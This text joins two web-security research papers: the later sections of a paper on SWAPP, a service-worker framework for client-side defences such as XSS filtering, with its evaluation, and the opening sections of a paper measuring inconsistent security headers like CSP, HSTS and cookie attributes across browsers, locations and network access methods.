vulnerable page that will read the value of its URL segment
and directly write it into the DOM. Then, we install SWAPP
with DOM Guard activated. We test to see if the payload is
executed by checking if the alert function is called. After we
have visited the vulnerable page with the given payload list,
we find that the filtering is effective.

As DOM Guard is currently designed to apply existing XSS
detection techniques, it will inherit their limitations. Addition-
ally, techniques that require heavy computation can poten-
tially affect the clients. Nevertheless, the advantage of DOM
Guard is that once a new technique is developed, DOM Guard
can potentially make use of it. DOM Guard as a DOM-XSS
detection app that can easily switch to different techniques/s-
trategies demonstrates the flexibility of SWAPP.

In any case, it is also possible to implement XSS filtering
in the TCB. However, implementing a filter in the document
context may require additional native objects related to the
filtering such as the input sources (e.g., Document.location)
or sinks (e.g., appendChild) to be instrumented. There are
two disadvantages to this approach. First, it could conflict
with legacy code that utilizes these objects due to code instru-
mentation. Second, the instrumented code directly affects the
page’s responsiveness as it introduces delays to users when
interacting with the web page. Implementing the filter inside
the service worker does not have the same disadvantages.

First, the service worker context is separated from the doc-
ument context, thus does not conflict with the legacy code in
the document context. Furthermore, URL filtering is native to
the fetch event in which apps can easily check the outgoing
request whether it contains a suspicious parameter. Instead
of instrumenting several sources and sinks in the document
context, our DOM Guard app requires only a few lines of
code to achieve the same result.

Second, the overhead incurred in the service worker context
affects user experience less because the service worker runs
asynchronously in a different thread. The overhead is added
to an already lengthy network delay and is non-blocking (i.e.,
does not block user interaction with the web page). For in-
stance, a Fast 3G configuration used in Chrome’s DevTools
would normally add 300-500 ms to a network request. The
filtering takes 10-20 ms (based on our measurement), so the
overhead is likely not noticeable to the user. However, if a
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page needs an additional 10-20 ms for DOM Guard before
it can be interactable, then this could affect user experience
especially when more apps are deployed.

Nevertheless, we do not intend DOM Guard to completely
replace or supersede existing XSS defenses. We simply
demonstrate an alternative option for implementing an XSS
defense in a new platform. We hope that our example will
provide evidence for security researchers and practitioners to
utilize SWAPP for more security apps in the future.

6 Evaluation

In this work, we aim to demonstrate an alternative method
to enhance website security. As a result, our evaluation will
focus on four aspects: adoptability (Section 6.1), compatibility
(Section 6.2), extensibility/programmability (Section 6.3), and
efficiency (Section 6.4).

6.1 Adoptability
Our first goal is to provide a security framework that is easily
deployable by web developers (G1). We evaluate the adopt-
ability of our framework using two studies. First, we focus on
browser clients and survey popular browsers to check if there
are any vendors/versions that cannot adopt our framework.
Second, we focus on web servers and measure the number of
websites that meet the requirements to adopt our framework.

Client. To measure the adoptability of SWAPP within
client devices, we first list out APIs that are utilized by
SWAPP such as serviceWorker, Fetch, and IndexedDB. Then
we refer to the statistics provided by an open-source project,
CanIUse [4]. The project gathers front-end web APIs and
provides usage statistics, which are regularly updated and
maintained by the web developer community. According to
the statistics, 95% of web users are using a browser that sup-
ports all APIs used by SWAPP.

Server-side. As our framework requires a service worker,
we first need to measure how many websites are ready to
install it. To this end, we conduct a measurement study on the
top 10,000 websites based on the Tranco [35] list obtained
in April 20213. We develop a custom web crawler based on
Node’s Puppeteer and Chrome Devtools Protocol (CDP). Our
crawler will visit each website’s home page (with a 60s time-
out), and the CDP will collect all network requests/responses
and service worker updates. If the crawler fails to visit a web-
site, it will retry three times before logging the error message.

Table 3 shows the configurations we use for our crawler.
Because several websites apply different techniques to de-
tect web crawler and trap it in an infinite loop, we have to
utilize countermeasures such as using the Puppeteer stealth
plugin and trying different crawling arguments. While there
are still cases that our crawler fails to visit, the numbers we

3https://tranco-list.eu/list/2QV9

report should sufficiently represent the adoption trend of ser-
vice workers among top websites. Further optimization can
potentially lower the failed cases, but our aim is simply to
understand the adoption trend without being more disruptive
than necessary to the crawled websites. Our crawler is not
invasive and simply visits the home page of a website once
without scraping the website data.

In total, our crawler successfully visits 9,293 websites. Ac-
cording to the error messages, 491 websites are not reachable,
183 websites are timed out, 11 websites have certificate errors,
and 22 websites have other errors. We manually check 50
domain registration information of the 491 websites and find
that they are mostly domain names that are not supposed to
serve a web page such as googleusercontent.com. Further-
more, we manually visit 50 of the 183 timed out websites and
find that many websites are loaded within 1 minute outside
our crawler despite using the same browser version (and set-
ting), indicating bot prevention mechanisms may have been
deployed to trap the web crawlers from finishing loading. In
any case, we do not try to further collect information from
these websites and refer to the 9,293 websites as our baseline.

Among 9,293 websites, 8,361 websites (90%) fully use
HTTPS for all their requests, which is a strict requirement to
use a service worker. On another note, 694 websites (7.5%)
are already using a service worker, which may require slight
modification to work with SWAPP.

6.2 Compatibility: Working with an Existing
Service Worker

While the number of SW-enabled websites is still small
(7.5%), we believe service workers will be increasingly
adopted by top websites in the future. Because SWAPP may
conflict with existing service worker libraries, we need to
illustrate that SWAPP can be deployed with minimal changes.

To this end, we discuss how Workbox, a library that pro-
vides the cache-ability to SW-enabled websites, can be encap-
sulated and run as a SWAPP app. We choose Workbox as an
example for two reasons. First, Workbox is one of the most
popular libraries embedded inside a service worker. Among
the 694 SW-enabled websites, 174 websites (25%) use Work-
box. We obtain this number through static analysis of the
service worker file and identify Workbox’s API calls using
regular expressions. Second, Workbox mainly utilizes the
fetch event for cache, which has a direct relation with our
example app, Cache Guard, discussed in Section 5.1.

In order for SWAPP to work with Workbox, we have to en-
capsulate Workbox as a SWAPP app, which requires less than
30 lines of code modification to the original Workbox file. We
utilize the Workbox CLI and follow the instruction provided
by Google [20] to generate a service worker file (workbox-
sw.js) with the default setting. Next, we create an app wrapper
(WorkboxApp.js) for the generated service worker shown in
Listing 2. Finally, we modify the generated service worker
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Table 3: The settings and environment information for crawling SW-enabled websites.

Chromium Version 92.0.4515.159
Puppeteer
Puppeteer-extra-plugin-stealth
Arguments

Version 10.2.0
Version 2.7.8
[ headless: false, ‘no-sandbox’, ‘disable-setuid-sandbox’, ‘disable-infobars’,
‘window-position=0,0’, ‘ignore-certifcate-errors’, ‘ignore-certifcate-errors-spki-list’,
‘start-maximized’ ]

Chrome Devtools Protocol
Events listened

Version 0.0.901419
[ ‘Network.requestWillBeSent’, ‘Network.requestWillBeSentExtraInfo’,
‘Network.responseReceived’, ‘Network.responseReceivedExtraInfo’,
‘ServiceWorker.workerVersionUpdated’ ]

Operating System Ubuntu 18.04 (64-bit)

file and import it inside the app. This process preserves the
caching policy provided by Workbox, and the SWAPP’s Work-
box app we create also works in conjunction with Cache
Guard as expected.

1 [WorkboxApp.js]
2 + var wbApp = new Object();
3 + wbApp.reqMatch = function(fObj) {
4 + return true;
5 + };
6
7 + self.importScripts("workbox -sw.js");
8 + f2fInst.addApp(wbApp);
9

10 [workbox -sw.js]
11 addFetchListener() {
12 - self.addEventListener("fetch", (e => {
13 - const {
14 - request: t
15 - } = e, s = this.handleRequest({
16 - request: t,
17 - event: e
18 - });
19 - s && e.respondWith(s)
20 - }))
21
22 + let ref = this;
23 + wbApp.reqApply = async function(fObj) {
24 + let e = fObj.getMetadata();
25 + const {
26 + request: t
27 + } = e, s = await ref.wbHandleRequest({
28 + request: e,
29 + event: e
30 + });
31 + let b = await s.text();
32 + fObj.setMeta(s);
33 + fObj.setBody(b);
34 + fObj.setDecision("cache");
35 + return fObj;
36 }
37 }

Listing 2: Migrating Workbox to SWAPP

6.3 Extensibility and Programmability
In Section 5, we demonstrate the programmability of SWAPP
in accordance to the goal G3. Here, we further show how easy
to develop various security apps on our platform, compared
with existing defense solutions. As shown in Table 4, SWAPP
provides a unified platform that can be used to develop various

defense solutions against different types of web attacks such
as side-channel attacks, autofill abusing attacks, data stealing,
and DOM-XSS attacks. These apps in our system can be in-
stantly deployed or updated without waiting for months/years
for browsers to officially support the same features.

Furthermore, we roughly quantify the easiness of pro-
grammability on our framework by comparing the lines of
code (LoC) app developers need to implement the same func-
tionalities (or equivalence) of existing defense mechanisms.
From Table 4, we can see that the number of LoC of apps in
SWAPP is noticeably smaller than that in traditional platforms
for most defenses, which suggests that SWAPP can reduce
the cost of implementing applicable defense mechanisms.

6.4 Overhead

We have shown that SWAPP can help develop security pro-
totypes at the client side. However, it is also imperative to
show that the clients do not suffer as a result. To this end, we
evaluate the overhead of SWAPP imposed on a client in four
different aspects: the page load time, computational power,
heap usage, and network bandwidth. We perform the testing
and measurement in a commodity laptop running Ubuntu
18.04 with Intel Core i7-8565U CPU, onboard Intel UHD
Graphics 620, and 16GB of memory. We set up four testing
configurations, each based on WordPress and phpBB on a
local webserver. The first configuration, referred to as the
Baseline, represents the original WordPress or phpBB. The
second configuration, referred to as EmptySW, has a service
worker that simply registers a fetch handler without other func-
tionalities. The third configuration has SWAPP installed but
does not contain any apps. We refer to this configuration as
SWAPP. The fourth configuration has SWAPP installed with
four apps activated: Autofill Guard, DOM Guard, Workbox,
and Cache Guard. This configuration is referred to as +Apps.
Then, we use Chrome’s DevTools to measure website visit
traces. Both the client and server are running on the same
machine, thus the network delay does not need to be taken
into account. The results are shown in Figure 5.
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Table 4: Extensibility and Easiness of Programmability of SWAPP

Attack type Defense Name Description Defense Platform # of LoC

Side-channel Attack Cache Guard Selectively delay cached response on suspicious requests SWAPP 258
Instrumented JS APIs Instrument sensitive sensor APIs to apply policy Chrome Extension >400

Autofill Abusing Attack Autofill Guard Mitigate password stealing attacks in log in forms by isolation with iFrames SWAPP 223
Insecure Form Warning Disable Autofill for forms to insecure url and send alert to users Chromium ~160

Data Stealing Data Guard Reserve sensitive data in secure storage to prevent it from beling stolen SWAPP 325
Access Control Management Enhance the access control policies to deny unauthorized access Sever-side Manual work

DOM-XSS Attack DOM Guard Inspect URL parameters to filter XSS payload SWAPP 406
DOMPurify.js XSS sanitizer for HTML, MathML, and SVG Client-side 1542
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Figure 5: Overhead of SWAPP

6.4.1 Page Load Time

In this evaluation, we compare the average page load time
between each configuration in phpBB and WordPress. We
make sure that the browser caching is disabled and all site
data is cleared for every measurement. The average page load
time is calculated among five runs, and it is shown in Figures
3(a) and 3(b).

First Page Load. This scenario represents the first time a
user visits the website. As shown in Figure 5(a), we observe
a gradual increment in the page load time across different
settings due to the parsing of additional JavaScript files. Note
that the service worker and SWAPP functionalities may not
be fully activated during the first page load. For instance, the
initial fetch events for the first page load will not go through
the service worker.

Subsequent Page Load. In the following visits, the service
worker will be fully activated. In addition to extra JavaScript

files being parsed, we observe an overhead incurred by ser-
vice worker activation cost. Specifically, even when a service
worker is empty, the browser still needs to activate the service
worker before a request can be fetched. The difference be-
tween the EmptySW settings from Figures 3(b) and 3(a) rep-
resents this activation cost. On average, an additional 26.8ms
(10.26%) and 20.6ms (6.01%) activation cost is incurred to
WordPress and phpBB respectively. This behavior is also doc-
umented in Google’s blog [10], in which navigation preload
is used to reduce the activation cost. However, SWAPP can-
not preload a resource as prefetching a malicious request can
mean the attack is already successful (i.e., the information
from the victim already reaches the attacker’s server).

SWAPP Overhead. There are two types of overhead intro-
duced by SWAPP: application logic and SWAPP logic. The
application logic overhead scales with the number of requests
because an app may need to process every request/response.
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On average, Workbox, Cache Guard, DOM Guard, and Aut-
ofill Guard introduce 35.22ms, 5.4ms, 9.5ms, and 3.8ms to
WordPress (and 43.2ms, 15.9ms, 17.64ms, and 11.44ms to
phpBB) respectively. The distribution of this overhead is il-
lustrated in Figure 5(c). Note that the numbers of requests for
loading WordPress and phpBB home pages are 18 and 48 re-
spectively. In total, the four apps introduce 53.92ms (20.28%)
to the original WordPress and 88.18ms (25.5%) to the original
phpBB.

The SWAPP logic overhead scales with the size of each
response’s body. This is because when an app needs to inspect
a response, SWAPP needs to parse the body of the response.
We can observe this overhead in phpBB shown in Figure 5(c).
When there are no apps, SWAPP’s logic incurs 58.8ms (17%)
overhead. When there are four apps installed, SWAPP’s logic
incurs 118.8ms (34.4%). On the other hand, WordPress only
has 40ms (15.8%) and 45.4ms (18.1%) overhead when there
are no apps and when there are four apps, respectively. Note
that WordPress requires 50.1kB for loading its home page and
phpBB requires 187kB. We observe that parsing the largest
response of phpBB incurs almost 20ms alone.

In total, when deploying SWAPP in the original WordPress
and phpBB with the four apps, there are 138ms (55%) and
225ms (65.2%) overhead, respectively. Note that for the pur-
pose of evaluation, we enable the four apps for all types of
requests. In practice, the developers can configure the apps
to selectively activate them for certain pages or types of re-
sources. This could help reduce the overhead of SWAPP and
its apps. For instance, the largest file requested by phpBB is
a font, which SWAPP spends 20ms parsing but none of the
four apps actually takes any action on it. Furthermore, the
measurement was conducted in a local environment, and the
calculations do not consider the network delay. The network
latency depends on several factors, but Google’s DevTools
would add approximately 300-500ms when the Fast3G set-
ting is applied in our testing environment. Considering an
actual user experience with a 400ms network delay, the over-
head of SWAPP would be 12% for WordPress without apps
and 21.2% with four apps. Similarly, the overhead would be
10.3% for phpBB without apps and 30.2% with four apps.
Therefore, we believe SWAPP can be a considerable option
for web developers, researchers and practitioners to quickly
develop new prototypes in the future.

6.4.2 CPU/Memory Power and Heap Usage

To measure the CPU and memory usage, we utilize Light-
house, a gadget provided by Chrome’s Devtools for measuring
the website’s overall performance. Lighthouse will load the
website and give a score for the CPU and memory power as a
numerical value. While this might not be the most accurate
method to measure, it gives a value that can be easily com-
pared. Based on the result shown in Figure 5(d), we observe
no differences between each configuration, thus the CPU and

memory utilization overhead is minimal.
To measure the heap usage, we manually define a set of

actions that normal users would do (i.e., visit the home page,
log in, post a forum’s topic or publish a blog, etc.). Then, we
collect the heap sampling records. The numbers shown in
Figure 5(e) represent the peak heap usage during the actions.
Note that using samplings may not yield the absolute peak
usage, thus we average the numbers across five trials. Overall,
we observe a strictly increasing trend in heap usage in both
WordPress and phpBB. The inclusion of SWAPP can bring
additional 20-30% to the heap usage compared to an empty
service worker, and the apps can introduce 10-30% overhead
compared to when there is no app. Nonetheless, the idle heap
usage of WordPress and phpBB are similar across all settings
with 4.6Mb (+/-5%) and 5.1Mb (+/-7%) respectively.

6.4.3 Network Bandwidth

Because we run the client and server for our testing on the
same machine, there is no actual network bandwidth. Regard-
less, Chrome’s DevTools can calculate the network bandwidth
during a page load, which can correctly measure the amount
of bandwidth caused by SWAPP. We collect the network band-
width of a set of page navigation similar to Section 6.4.2. The
amount of resources loaded is shown in Figure 5(f).

We observe that the amount of additional resources loaded
is mostly negligible across all settings. The size of SWAPP
is less than 1kB, and it is only loaded on the first page as
expected. Although we observe almost a double amount of
the number of requests, it does not incur additional resource
loaded. The DevTools simply counts a request twice, once
for the original request, and second for when the request is
handled by the service worker. This also explains why the
page load time increases when a website has a running service
worker with a fetch event handler. For every request, now the
browser will have to wake up the service worker to handle the
request, which can incur additional computational overhead.
Regardless, the amount of extra network bandwidth is still
negligible.

7 Limitation and Discussion

Nowadays, most websites (94% according to a recent re-
port [18]) embed at least one third-party resource, e.g.,
through <script> or <img> tags. Similarly, many websites
also make use of cross-origin AJAX requests (XHR). Gen-
erally, for a cross-origin XHR to be fetched correctly, the
CORS (Cross-Origin Resource Sharing) protocol of the re-
source must be correctly configured.

Our approach requires network interception, which may in-
clude intercepting cross-origin requests. Because the service
worker also adheres to the CORS protocol, SWAPP will not
be able to read certain request headers or modify the content
of cross-origin responses depending on the CORS configu-
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ration [5]. For example, when it is the no-cors mode, only
simple HTTP headers are accessible and the response prop-
erties will be inaccessible to SWAPP. If an app attempts to
access such response, it will result in an error.

Among the apps that we developed, Autofill Guard and
Data Guard do not access cross-origin resources and only
modify HTTP pages, which are from the same origin, while
simply forwarding other requests/responses. In the case of
Cache Guard, it sets the timer of each request (including cross-
origin) when forwarding non-page requests for computing the
average network delay. Therefore, it requires CORS-enabled
responses, in which the no-cors mode would suffice because
Cache Guard does not read the response properties.

While the restriction from the CORS protocol limits the
direct applicability of SWAPP to seamlessly work with cross-
origin resources, we envision SWAPP as a first step toward
providing first-party developers a fast-prototyping framework
for deploying security applications. With more websites adopt-
ing service workers, SWAPP will have better protection cover-
age. We leave the full integration of SWAPP with third-party
resources for future work.

8 Related Work

In addition to existing web defenses discussed in Section 2.2,
the security of service workers is an emerging research topic
that recent researchers have discussed. Lee et al. [36] and Pa-
padopoulos et al. [40] demonstrated how a malicious service
worker can be utilized by attackers to run malicious back-
ground tasks (i.e., crypto-currency mining or botnet client).
Watanabe et al. discussed how a malicious service worker
can be injected into a benign re-hosted website [53]. In more
recent work [28], we showed a novel type of Cross-site script-
ing called SW-XSS that can let attackers execute malicious
code inside a benign service worker and potentially hijack it.
Karami et al. [33] and Squarcina et al. [48] discussed how
attackers can leverage the cache API, which is supported in
the service worker, to leak user privacy or escalate the initial
XSS attack. These prior studies tried to leverage or manip-
ulate service workers for malicious purposes. Our work is
orthogonal to them as we take the lessons learned to enhance
the security of service workers and demonstrate how service
workers can become a unified platform to provide security for
websites.

9 Conclusion

In this paper, we propose SWAPP, a unified client-side se-
curity framework deployed on the service worker. SWAPP
allows web developers to offload a part of security tasks from
server to client and enables the possibility to deploy emerging
security features before they are supported by mainstream
browsers and widely deployed on user devices. We developed

example apps to show the high programmability and extensi-
bility of SWAPP. Compared to traditional server-side imple-
mentation, security features can be implemented in SWAPP
and easily deployed by developers in a more timely and flexi-
ble manner. The evaluation results prove that SWAPP can in-
troduce its benefits to the ecosystem with reasonable overhead.
We believe that SWAPP offers a powerful new framework for
prototyping and delivering innovative security applications
into the rapidly evolving world of web development.
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Abstract
To mitigate a myriad of Web attacks, modern browsers sup-
port client-side security policies shipped through HTTP re-
sponse headers. To enforce these defenses, the server needs to
communicate them to the client, a seemingly straightforward
process. However, users may access the same site in variegate
ways, e.g., using different User-Agents, network access meth-
ods, or language settings. All these usage scenarios should
enforce the same security policies, otherwise a security lottery
would take place: depending on specific client characteristics,
different levels of Web application security would be provided
to users (inconsistencies). We formalize security guarantees
provided through four popular mechanisms and apply this to
measure the prevalence of inconsistencies in the security poli-
cies of top sites across different client characteristics. Based
on our insights, we investigate the security implications of
both deterministic and non-deterministic inconsistencies, and
show how even prominent services are affected by them.

1 Introduction

Web applications are one of the primary access points to
security-sensitive data and functionality which we use on a
daily basis, hence they represent a primary target for attackers.
Unfortunately, the attack surface against Web applications is
very large and Web application security is a complicated topic
which requires actions at very different levels, including the
use of transport layer encryption via HTTPS, the implemen-
tation of server-side sanitization routines against attacks like
SQL injection, and much more. An important and increas-
ingly popular defense layer of Web applications is client-side
Web security, i.e., the adoption of appropriate browser-side
defenses to prevent or mitigate relevant Web threats [37].
Examples of such defenses which are quite popular on high-
profile Web sites include cookie security attributes, Content
Security Policy (CSP) and HTTP Strict Transport Security
(HSTS). Several papers already studied (and criticized) the
adoption of different client-side security mechanisms in the

wild. For example, cookie security attributes turned out to be
underused by site operators [5, 39], CSP is most often config-
ured incorrectly [28, 43] and HSTS had a hard time getting
traction even on top sites [22, 33]. However, these studies
were performed in a fixed and often unspecified measurement
setting, e.g., measuring security using a single crawler running
a specific browser on a machine with a static IP.

In this paper, we investigate the client-side security of top
sites from a new angle. Our analysis starts from the observa-
tion that client-side security inherently depends on the correct
communication of security policies from the server to the
client. This seemingly straightforward process might hide
subtleties, which can affect Web application security and its
large-scale measurement [18]. In particular, we observe that
there is no guarantee that two clients accessing the same URL
receive the same security policies. For example, clients ac-
cessing the same Web application from different geolocations
might be served by different servers, due to the existence of
several localized variants of the same site. Moreover, the same
person might access the same Web application through dif-
ferent User-Agents, e.g., Chrome on their desktop computer
and Safari on their iOS mobile device, while the same client
might access the same Web application using different forms
of network access, e.g., through a VPN. Finally, even the same
HTTP request might receive different HTTP responses when
it is sent multiple times by the same client apparently under
the very same conditions, due to the DNS system resolving
the same hostname to different IP addresses and the possible
intervention of load balancers and HTTP middleboxes [16].

Intuitively, we (and Web users) would like all the responses
served across these multiple legitimate scenarios to enforce
the same security policies, otherwise a security lottery would
take place: depending on specific client characteristics, differ-
ent levels of Web application security would be provided to
users. We refer to this class of potential security flaws as in-
consistencies. Unfortunately, our research shows that multiple
client characteristics might inadvertently affect Web applica-
tion security in the wild, thus leaving users of prominent
services unprotected against both Web and network attacks.
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Contributions

In this paper we measure the prevalence of inconsistencies
in the security policies of top sites across different client
characteristics and we quantify their security implications:

1. We propose a data collection methodology tailored to our
analysis and we build a dataset of 13,626,145 responses
collected from the 10,000 highest-ranking sites available
through HTTPS (based on Tranco [25]), while testing
a number of different client characteristics. Our tests
include the use of different User-Agents, network access
methods and language settings.

2. We introduce general definitions of consistency for client-
side security mechanisms and we instantiate them to a set
of popular defenses available in modern browsers. Our
definitions are semantics-based, i.e., they only capture
inconsistencies with a potential security import, rather
than superficial syntactic differences or other types of
false positives coming from the different enforcement
models of different security mechanisms.

3. We apply our definitions to the collected data and we
report on the key findings. Our measurement shows that
a significant fraction of the analyzed Web sites suffers
from different types of client-side security inconsisten-
cies. Remarkably, the majority of them can be attributed
to specific client characteristics, which identify weak
spots in the security configuration, while the others can
be attributed to non-deterministic factors, which may
nevertheless be exploited by attackers.

2 Background and Related Work

We first outline the relevant security mechanisms for our paper
and then review the related work in this area.

2.1 Client-Side Security Mechanisms

All the security mechanisms in the present section are acti-
vated by means of HTTP response headers or (in some cases)
by making use of meta tags within the HTML. In our analysis
we only focus on security policies set via response headers,
which is the most common deployment scenario indicated by
prior work [6, 28].

Threat Model The client-side security mechanisms under
study are designed to prevent different threats coming from
Web attackers and network attackers, the standard threat mod-
els of the Web security literature. Web attackers operate a
malicious site, say evil.com, and leverage it to launch at-
tacks against target Web applications. Relevant Web threats in-
clude Cross Site Scripting (XSS), Cross Site Request Forgery

(CSRF) and click-jacking. Network attackers extend the capa-
bilities of Web attackers with full control of the unencrypted
HTTP traffic, e.g., because they have access to the access
point where the victim is connected.

Cookie Security Attributes Cookies are the traditional
state management mechanism of the HTTP protocol, yet they
suffer from a range of security problems in their default con-
figuration. Site operators are thus recommended to improve
the level of protection of their cookies by marking them with
appropriate security attributes.

The HttpOnly attribute ensures that cookies are not accessi-
ble from JavaScript, which prevents cookie theft through mali-
cious scripts, e.g., injected through XSS. The Secure attribute
guarantees that cookies are never sent in plain HTTP requests,
but only over encrypted HTTPS connections, which rules out
network sniffing attempts. The combination of HttpOnly and
Secure significantly raises the confidentiality guarantees of
cookies, which is particularly important to protect against
session hijacking [5, 11].

The latest addition to the set of attributes is called SameSite,
which is meant to protect against CSRF attacks. If the attribute
is set to Lax, cookies are only sent on cross-site requests when
the main frame is navigated using a safe method like GET.
If instead the attribute is set to Strict, cookies are never sent
across sites. Some modern browsers like the latest versions of
Chrome automatically promote all cookies to SameSite Lax,
hence site operators can opt out from protection by setting
the SameSite attribute to None for compatibility reasons.

Content Security Policy Content Security Policy (CSP)
is a security mechanism originally aimed at mitigating the
dangers of XSS and later extended to cover additional threats.
In essence, a CSP is meant to ensure that only resources
explicitly allowed by the developer of a page can be included
therein. This is achieved by binding directives of the form
type-src (for different content types, e.g., scripts, images, etc.)
to a set of allowed sources, which can be as specific as a full
URL or as unspecific as https://*. Script execution can
also be controlled by allowing only script tags bearing a valid
nonce attribute or matching a given hash, which should be
preferred over allowlists [43].

Enforcing a CSP with a script-src (or alternatively a default-
src) directive implicitly disables a page’s ability to run in-
line scripts, inline event handlers, and string-to-code trans-
formation functions like eval, which are the most common
XSS vectors. These restrictions can be lifted by the ’unsafe-
inline’ or ’unsafe-eval’ source-expression, respectively, al-
though ’unsafe-inline’ is voided by the use of nonces / hashes
in modern browsers to authorize individual scripts. To support
dynamic inclusion of scripts, scripts with a valid nonce can
propagate trust to recursively included scripts via the ’strict-
dynamic’ source-expression. This source-expression voids
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any allowed hosts for script inclusion, forcing the exclusive
use of nonces / hashes to control scripts.

Other popular use cases of CSP include framing control
and TLS enforcement [28]. To support the former, CSP in-
troduced the frame-ancestors directive, which defines an al-
lowlist for framing. For the latter, CSP supports two useful
directives: upgrade-insecure-requests forces an automated
upgrade from HTTP to HTTPS for all resources loaded by
the page, while block-all-mixed-content strengthens the tradi-
tional mixed content policy implemented by major browsers
to rule out all forms of HTTP communication from HTTPS
pages. Note that upgrade-insecure-requests effectively sub-
sumes block-all-mixed-content.

X-Frame-Options X-Frame-Options (XFO) is one of the
oldest security headers, originally introduced in Internet Ex-
plorer to defend against click-jacking attacks by enforcing a
framing control policy. Though now deprecated in favor of
the frame-ancestors directive of CSP, XFO is still massively
deployed in the wild [7].

In modern browsers, XFO can be set to two different values:
SAMEORIGIN allows framing only on pages with the same
origin of the framed content; DENY instead forbids any form
of framing. XFO also used to support a third option, called
ALLOW-FROM, which could be used to allow framing only
from a given URL, however major browsers like Chrome and
Firefox do not support it anymore or even never supported it.

HTTP Strict Transport Security Although the Web is fast
progressing towards a full usage of transport layer encryption
through TLS, browsers do not automatically upgrade all con-
nections to HTTPS to avoid breakage. This introduces the
danger of attackers who force a victim’s browser to make a
request towards the HTTP version of a site, thus allowing the
attacker to perform impersonation attempts, e.g., for phishing
or to sniff non-Secure cookies.

To prevent these threats, HTTP Strict Transport Security
(HSTS) was introduced. In particular, once set for a specific
HTTPS host via the Strict-Transport-Security header, any
connection towards that host is automatically upgraded to
HTTPS by the browser for the duration specified in the max-
age attribute (or until a HSTS header with max-age set to 0
is received). Optionally, HSTS can specify the includeSub-
Domains directive, which extends protection to all the subdo-
mains of the host setting the security header. This is impor-
tant to defend against network attackers who could otherwise
forge cookies from HTTP subdomains and to prevent the
exfiltration of domain cookies lacking the Secure attribute.

Due to its design, HSTS faces a Trust-On-First-Use
(TOFU) problem because network attacks can be performed
before TLS connections are enforced via the Strict-Transport-
Security header in the first response. In order to get rid of this
issue, hosts supporting HSTS can also ask for inclusion in
the HSTS preload list [26], which is a public list of known

hosts where browsers should activate HSTS by default. To
be accepted into the HSTS preload list, a host must serve a
valid HSTS header with max-age set to at least one year, have
enabled includeSubDomains, and include the preload direc-
tive. Since preloading implies a fully functional HTTPS setup
for all of a site’s subdomains, which might cause problems in
practice, the preload list offers a feature for removal. For this
removal request to go through, a site has to serve a valid HSTS
header (i.e., at least specifying a max-age value) without the
preload directive [27]. After this, the site is removed from the
preload list without further notice to the site operator.

2.2 Related Work
We categorize related work in three key areas: client-side Web
security, Web security inconsistencies and Web measurements
from different vantage points.

Client-Side Web Security Client-side Web security re-
ceived an increasing amount of attention by the research
community in the last few years. Prior research studied the
adoption of different client-side security mechanisms, includ-
ing cookie security attributes [5, 39], CSP [6, 28, 43] and
HSTS [22, 33]. Stock et al. [37] investigated the historical
evolution of the most popular client-side security mechanisms
using archival data. However, none of these works focused
on client-side Web security inconsistencies, because they an-
alyzed the considered security mechanisms using a single,
fixed client with a specific network access method.

Web Security Inconsistencies Other related studies are
those on Web security inconsistencies, i.e., conflicting con-
figurations of protection mechanisms leading to insecurity.
This problem has been explored from different angles. A first
work investigated inconsistencies between the desktop and
the mobile version of the same site [21]. This work is largely
complementary to ours, because it analyzes vulnerabilities
enabled by security inconsistencies between a desktop site
like www.foo.com and its mobile variant m.foo.com. Our
analysis instead disregards such cases, because www.foo.com
and m.foo.com are not necessarily the same Web applica-
tion, hence they might legitimately have different security
requirements. Our methodology (see Section 5) is designed
to minimize false positives by taking the specific enforcement
models of existing security mechanisms into account and fo-
cuses on security inconsistencies in the same Web application
enabled by a wide range of different client characteristics
(including the use of a mobile client, but not limited to that).
Similar considerations apply to an analysis of HTTPS security
mismatches between www.foo.com and its parent [1].

Another complementary piece of work includes a large-
scale study of how different User-Agents enforce the same
click-jacking protection policy differently [7]. This is a dif-
ferent form of Web security inconsistency coming from the
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variegate cross-browser support of specific security mech-
anisms [31, 32], something which we abstract from by as-
suming the use of a modern, fully compliant client. A last
work on Web security inconsistencies is the recent Site Policy
proposal, designed to tame inconsistent configurations of the
same security mechanism across different pages of the same
site, which is yet another orthogonal security issue [8].

Web Measurements Prior work proposed the use of multi-
ple vantage points for Web measurements [17, 18] and several
papers measured the impact of different vantage points on
specific aspects. Notable examples include papers analyz-
ing how geolocation may affect the behavior of Web track-
ers [13, 14, 30, 40] and the security guarantees of HTTPS [29].
The latter work also analyzes downgrades in the use of secu-
rity headers as part of a broader study, though its treatment is
not nearly as comprehensive as that of our paper: it considers
a more limited set of headers and use cases, it only covers
a specific type of inconsistency (lack of header) and it only
focuses on a single factor (geolocation). Other work studied
suspicious content manipulation performed by free proxies,
VPNs and middleboxes [12, 16, 19, 20, 24, 41, 42]. These
papers identified a range of malicious behaviors and shady
practices, including script injection, cookie injection, TLS
downgrades and generic header manipulations. Orthogonally,
we are only interested in server-side responses without any
network manipulation, i.e., we measure the impact of different
legitimate access methods on Web application security.

3 Motivation for Our Study

In contrast to prior work, we measure client-side Web secu-
rity across different client characteristics to identify specific
conditions that attackers might exploit to identify weak spots
in protection. We discuss a few relevant examples below.

A Web site may set the Secure attribute on its session
cookies when it is accessed using Chrome, but may forget the
attribute when it is accessed using Opera. This would leave
Opera users vulnerable to cookie sniffing attempts over HTTP,
which may enable session hijacking attacks against a specific
user population. In terms of exploitation, a network attacker
could just try a traditional cookie leak attempt, e.g., injecting
an HTTP image pointing to the target site, and profit from the
presence of Opera users on the network under her control.

A Web site may configure its CSP differently when ac-
cessed from different countries, e.g., due to the use of differ-
ent ad networks, and there is no guarantee that all these CSPs
enjoy the same security guarantees. For example, users from
specific countries may be left unprotected against XSS, so
a Web attacker might attempt targeted attacks where a link
containing an XSS payload is only shared on social media
platforms which are most popular on the vulnerable country.

Additionally, security mechanisms might change when

sites are accessed from different geolocations. These can ei-
ther occur because a visitor originates from a specific country
or because they rely on a VPN or the Onion network to spoof
their geolocation. Both the geolocation and the fact that a user
is connecting through the Onion network may have an impact
on security, which can be leveraged by an attacker if these
changes are deterministic based on the (spoofed) geolocation.

An orthogonal issue is that sites may change security head-
ers in a non-deterministic fashion. Indeed, we observed dif-
ferent security policies on the same Web page even when
the page was accessed under the very same client characteris-
tics, due to non-deterministic factors like load balancers. This
means that users may occasionally enjoy different levels of
protection even when no observable condition changes, hence
in our threat model we also consider determined attackers who
actively try to abuse such inconsistencies opportunistically.

In the following two sections, we lay the ground work for
our analysis. First, we explain our measurement setup and
chosen client characteristics, as well as how we selected sites
to ensure a measurement without network-level interference.
Second, we formalize a definition of consistency and apply it
